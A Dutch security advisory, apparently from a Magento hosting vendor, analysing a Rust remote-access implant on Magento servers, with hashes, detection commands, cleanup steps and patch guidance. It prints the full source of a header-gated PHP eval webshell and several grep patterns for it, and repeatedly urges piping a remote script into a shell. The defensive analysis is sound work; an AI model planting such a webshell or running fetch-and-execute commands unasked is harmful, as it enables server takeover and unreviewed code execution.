StyleSmuggler: het Magento-implantaat dat gebouwd is om uw beveiligingscontrole te overleven

StyleSmuggler: het Magento-implantaat dat gebouwd is om uw beveiligingscontrole te overleven
Een remote access tool in Rust die zich verspreidt via een RCE-lek zonder authenticatie in het Magento-framework. Hij verstopt zich in cachemappen, vervalst zijn naam in de proceslijst, bewaart reservekopieën in /tmp en installeert een backdoor die iedereen behalve de aanvaller een 404 geeft. Zo controleert u uw winkel.

StyleSmuggler is een remote access tool in Rust die opduikt op Magento-servers via een lek in het Magento-framework waarmee zonder authenticatie code op afstand kan worden uitgevoerd. Hij is het kennen waard om één specifieke reden: hij is gebouwd om de controles te overleven die de meeste winkeleigenaren daadwerkelijk uitvoeren. Hij verstopt zich in cachemappen, vermomt zich in de proceslijst, bewaart reservekopieën van zichzelf en installeert een PHP-backdoor die iedereen behalve de aanvaller een echte 404 teruggeeft.

Hebt u een Magento-winkel, dan vindt u in dit bericht de commando’s om die te controleren, de volgorde waarin u opschoont als u iets vindt en de patch die de deur sluit.

Weinig tijd? Log via SSH in op uw winkel en voer onze gratis scanner uit - zonder registratie, zonder account:
curl https://shopwhizzy.com/gowiz/external/agent | sh
Hij controleert uw bestanden en database op webshells, skimmers en malwaresignaturen, en uw Magento-versie aan de hand van de bulletins van Adobe. Lees daarna het onderdeel over de hostlaag hieronder, want één deel hiervan is voor geen enkele scan op winkelniveau zichtbaar.

Hoe het er op schijf uitziet

Twee gestripte ELF-binaries, allebei verstopt in mappen die niemand ooit bekijkt omdat ze vol wegwerprommel horen te zitten:

  • Op het niveau van het winkelaccount — een static-PIE Rust-binary in ~/.cache/chrony/chronyd, die opnieuw wordt gestart door een cronregel die twee keer per uur draait.
  • Op rootniveau — een kleinere binary in /root/.cache/fontconfig/fc-cache, met een eigen cronregel én een systemd-unit in /etc/systemd/system/fontconfig-cache.service waarvan de ExecStart als root draait.

De namen zijn gekozen om saai te zijn. chronyd is de tijddaemon, fc-cache bouwt de lettertypecache, en beide zijn precies het soort dingen waar u overheen leest.

Is het bestandseigendom root:<your-shop-user>, dan hebt u te maken met een privilege-escalatie in plaats van een gewone compromittering van de webapplicatie, en omvat het opschonen de hele server, niet alleen uw winkel.

Bekende kwaadaardige hashes

Er zijn vier verschillende binaries waargenomen. Match op SHA-256, nooit op bestandsnaam — de bestandsnamen zijn bewust geloofwaardig en de klaargezette kopieën gebruiken willekeurige namen:

1a3374ffac5b0a62467612f264c49792d206304d4514409c982325c91231375d  2281147  static-PIE  ~/.cache/chrony/chronyd
500cd1231f4286225c9db434f126b7b6e2a0496f495586c02a5d123e49dc7a51   312048  dynamic     /root/.cache/fontconfig/fc-cache
4352cabaa451e5a894535fbcc4d46628701303322a13745cb5479d7d0534ae8e  2270031  static-PIE  ~/.cache/fontconfig/fc-cache
a5b9e9082ecd446ad89b94748b13175e972efc6ae53c024ffdc3ab668f20ae75  2128224  dynamic     /tmp/.kw_*

Vier redenen waarom een snelle blik hem mist

Dit zijn de eigenschappen waardoor StyleSmuggler een bewuste controle verdient in plaats van een vluchtige blik.

1. Hij liegt over zijn naam in de proceslijst

Een draaiend implantaat verschijnt in ps als een kale chronyd. Niet het pad, niet de .cache-map — alleen een geloofwaardige daemonnaam. De voor de hand liggende zoekopdracht vindt dus niets:

pgrep -f '\.cache/chrony/chronyd'   # matches only the short-lived cron wrapper, if anything

Wat die af en toe wel vangt, is de /bin/sh -c <path>-wrapper die cron een seconde of twee start. Die killen doet niets — de daemon draait nog steeds en herschrijft uw crontab binnen ongeveer twee minuten.

De controle die wel werkt, negeert namen volledig en vraagt de kernel wat elk proces werkelijk is:

for p in /proc/[0-9]*; do
  exe=$(readlink "$p/exe" 2>/dev/null) || continue
  case "$exe" in
    *.cache/*|*/tmp/*) echo "$p -> $exe";;
  esac
done

2. Hij bewaart uitvoerbare reservekopieën in /tmp

Het implantaat zet uitvoerbare kopieën van zichzelf klaar in /tmp: mode 755, eigendom van uw shopgebruiker, met willekeurige namen van acht tekens en nepextensies (/tmp/g7gylnwk.ha4), plus verborgen varianten /tmp/.kw_<digits>.

Dat is belangrijk bij het opschonen. Wie alleen de twee bekende .cache-paden onschadelijk maakt en daar stopt, laat een werkende kopie achter in een map waarin iedereen kan schrijven. Scan ook uw tijdelijke mappen op hashes.

3. De systemd-unit is immutable gemaakt

Is er een component op rootniveau, dan heeft het servicebestand het immutable-attribuut, en mislukt verwijderen op een manier die op een systeembeveiliging lijkt in plaats van op het werk van een aanvaller:

rm /etc/systemd/system/fontconfig-cache.service
rm: cannot remove '...': Operation not permitted

lsattr /etc/systemd/system/fontconfig-cache.service
----i---------e------- /etc/systemd/system/fontconfig-cache.service

Eerst chattr -i, dan verwijderen. Een opschoonscript dat lsattr niet controleert, meldt succes voor een bestand dat er nog steeds staat.

4. De webshell geeft iedereen behalve de aanvaller een 404

Terugkeer gebeurt via piepkleine PHP-webshells — 142 tot 144 bytes — geplaatst onder pub/media en var, in paden die eruitzien als gewone tijdelijke Magento-uitvoer:

pub/media/downloadable/tmp/in/uy/thumb_l2rdsak8.php
var/import/images/eu/li/product_gqami5d3.php

De volledige inhoud is een header-poort:

<?php if(($_SERVER['HTTP_X_CATALOG_VER']??'')!=='<md5>'){http_response_code(404);exit;} @eval($_POST['load']??''); ?>

Twee gevolgen. Ten eerste veranderen de headernaam en de sleutel bij elke plaatsing — zowel X-Catalog-Ver als X-Thumb-Key zijn gezien — dus match op het structurele paar @eval($_POST[ plus http_response_code(404), nooit op de headernaam. Ten tweede, omdat elk verzoek zonder authenticatie een echte 404 krijgt, zal geen enkele scanner die van buitenaf via HTTP werkt deze ooit zien. Ze zijn alleen op schijf te vinden.

Eén uitsluiting die u wilt toevoegen: sla generated/code/ over wanneer u de inhoud van een Magento-map doorzoekt met grep. De eigen dependency-injection-uitvoer van Magento overspoelt anders uw resultaten, en niets daarvan is een webshell.

Controleer uw winkel

De snelste route is de scanner, die het bestands- en databasedeel voor u doet en niets geïnstalleerd hoeft te hebben:

curl https://shopwhizzy.com/gowiz/external/agent | sh

Hij werkt op elke Magento-installatie waar u SSH-toegang toe hebt — bij ons, op uw eigen server, op de machine van een klant met cPanel of Plesk — en eindigt met een link naar een privérapport. Hij controleert PHP- en JavaScript-bestanden op malwaresignaturen, webshells en skimmerpatronen, controleert uw CMS-blokken, configuratie en beheerdersaccounts, en toetst uw Magento-versie aan de beveiligingsbulletins van Adobe door de code te inspecteren in plaats van op de versiestring te vertrouwen.

Doet u het liever met de hand, dan zijn deze vier alleen-lezen en wijzigen ze niets:

# 1. Implant binaries in the usual hiding places
find ~/.cache /tmp /var/tmp /dev/shm -type f -size +100k 2>/dev/null \
  -exec sha256sum {} + | grep -Ff known_bad_hashes.txt

# 2. Processes whose real executable sits in a cache or temp directory
for p in /proc/[0-9]*; do
  e=$(readlink "$p/exe" 2>/dev/null)
  case "$e" in *.cache/*|/tmp/*) echo "$p -> $e";; esac
done

# 3. Cron entries pointing into a cache directory
crontab -l | grep -E '\.cache|chronyd|fc-cache'

# 4. Header-gated webshells (match the structure, not the header name)
grep -rlE 'http_response_code\(404\)' pub/media var --include='*.php' 2>/dev/null \
  | xargs -r grep -l '@eval($_POST\[' 2>/dev/null

Zet de vier hashes hierboven in known_bad_hashes.txt, één per regel, voordat u de eerste uitvoert.

Het deel dat uw eigen scan niet kan zien

Dit is het belangrijkste punt van dit bericht, en het geldt ongeacht wie u host of welke scanner u gebruikt.

Beveiligingsscanners op shared en managed hosting zijn beperkt tot uw account. Ze lezen uw crontab, uw homemap, uw processen. Dat is het juiste ontwerp — u hoort de bestanden van een andere klant niet te kunnen opsommen, en zij de uwe niet.

Het betekent ook dat een implantaat op rootniveau structureel onzichtbaar is voor elk rapport dat u zelf kunt draaien. Niet gemist door een zwakke regel — onzichtbaar door het ontwerp, bij elke scan, elke nacht, voor altijd. En bij StyleSmuggler komt de rootcomponent vaak eerst binnen, gevolgd door de component op winkelniveau.

Een schoon rapport op winkelniveau betekent dus dat uw winkel schoon is. Het is geen — en kan geen — uitspraak zijn over de server eronder.

De vraag die u uw host moet stellen: "Wat bewaakt de hostlaag — de crontab van root, /etc/systemd/system, binaries van root in tijdelijke mappen, en processen van root of andere klanten?" Is het antwoord alleen de scanner per account die u zelf kunt openen en uitvoeren, dan bewaakt niemand die laag.

Op servers die door ShopWhizzy worden beheerd, wordt dit los van uw eigen WhizzyScan-rapport gedekt door controles op hostniveau die specifiek buiten elk account kijken — indicatorpaden onder /root, binaries van root in tijdelijke mappen, systemd-units waarvan de ExecStart ergens naartoe wijst waar dat niet hoort, gerapporteerd met hun lsattr-vlaggen zodat een immutable bestand zich niet ongemerkt tegen opschoning kan verzetten. Die bevindingen gaan naar ons team, omdat ze niet over één enkele winkel gaan.

Als u iets vindt

De volgorde is hier belangrijk, want een verkeerde volgorde laat het implantaat zichzelf herstellen terwijl u bezig bent:

  1. chmod 000 op elke kopie van de binaries — ook die in /tmp. Zo blijven de bytes bewaard voor het geval iemand ze later wil onderzoeken.
  2. Zet de webshells in quarantaine (verplaats ze buiten de document root; maak ze niet alleen leeg).
  3. Verwijder de cronregels. Is er een systemd-unit, voer dan chattr -i uit en verwijder hem.
  4. Kill de processen via /proc/*/exe, niet op naam.
  5. Controleer na twintig seconden opnieuw.

Die laatste stap is niet optioneel. Een overlevende daemon herschrijft cron binnen ongeveer twee minuten, dus een controle direct na het opschonen geeft u gelijk, of het opschonen nu gelukt is of niet.

Vervang daarna de inloggegevens. Was het rootniveau betrokken, beschouw dan alles wat vanaf die server bereikbaar is als blootgesteld: de databasegegevens in app/etc/env.php, elk Magento-beheerdersaccount, API-sleutels en integratietokens, en elk wachtwoord of elke sleutel die in scripts op de machine staat. Alleen de twee voor de hand liggende vervangen en dan stoppen is precies hoe winkels twee weken later opnieuw besmet raken.

Sluit de deur: patch de toegangsroute

De toegang verloopt via een lek in het Magento-framework waarmee zonder authenticatie code op afstand kan worden uitgevoerd, verholpen door de hotfix die Adobe verspreidt als VULN-39341. Er bestaan varianten voor 2.4.4-p18, 2.4.5-p17, 2.4.6-p15, 2.4.7-p10, 2.4.8-p5 en 2.4.9, en in de praktijk zijn ze ook ruim buiten hun nominale versie probleemloos toe te passen.

Een DI-hercompilatie is niet nodig. De patch voegt een tweede constructorargument toe aan Magento\Framework\View\Element\BlockFactory, maar declareert het als ?ConfigInterface $x = null met een fallback op ObjectManager::getInstance(). Die nullable standaardwaarde maakt het veilig om de patch op een gecompileerde installatie toe te passen — normaal gesproken legt een wijziging in de constructorsignatuur de site plat totdat u opnieuw setup:di:compile uitvoert.

Voor alles onder 2.4.6 bestaat geen variant van deze patch. Geldt dat voor u, dan is de oplossing een versie-upgrade, geen hotfix, en die moet u nu inplannen in plaats van volgend kwartaal.

Als patch hunks in pub/errors/processor.php weigert met "different line endings", dan bevat dat bestand gemengde CRLF en LF — een gangbare toestand voor dit bestand, en --ignore-whitespace helpt niet. Splits de patch, pas al het andere toe en normaliseer daarna dat ene bestand:

awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} !f' VULN-39341.patch > part1.patch
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} f'  VULN-39341.patch > part2.patch
patch -p1 < part1.patch
sed -i 's/\r$//' pub/errors/processor.php
patch -p1 < part2.patch

En nu u er toch mee bezig bent

Het patchen van het framework sluit deze specifieke deur. De uploadendpoints die Magento standaard openzet zijn een andere, en die vormen de meest misbruikte route naar een winkel die verder up-to-date is. We behandelden beide oplossingen — de PolyShell-beschermingsmodule voor uploads via aangepaste opties en het uitschakelen van het uploadendpoint voor klantadressen — in ons bericht over APSB25-88. Hebt u die nog niet toegepast, doe het dan in hetzelfde onderhoudsvenster.

Drie lessen om mee te nemen

Een gerichte controle die niets oplevert, is geen gezondheidsverklaring. Het is een van twee dingen — geen malware, of een controle die op de verkeerde plek kijkt — en zonder controlemeting kunt u niet zien welke. Dump uw ruwe crontab en controleer of u regels ziet waarvan u weet dat ze er staan. Controleer of uw find echt de map heeft doorlopen die u bedoelde. Een script dat pub/media hardcodeert op een winkel waarvan de document root pub/ is, vindt die map niet en meldt schoon.

Match op inhoud en hashes, nooit op namen. Bestandsnamen, procesnamen en headernamen worden hier allemaal door de aanvaller bepaald, en alle drie veranderen ze tussen plaatsingen.

Weet wie de hostlaag bewaakt. Uw eigen scan dekt uw eigen account. Vraag uw provider wat de rest dekt, en beschouw een vaag antwoord als een nee.

Voer de gratis scan uit op elke Magento-winkel waar u SSH-toegang toe hebt: curl https://shopwhizzy.com/gowiz/external/agent | sh

Komt er iets kritieks uit en wilt u hulp bij het opschonen, open dan een ticket en we kijken ernaar.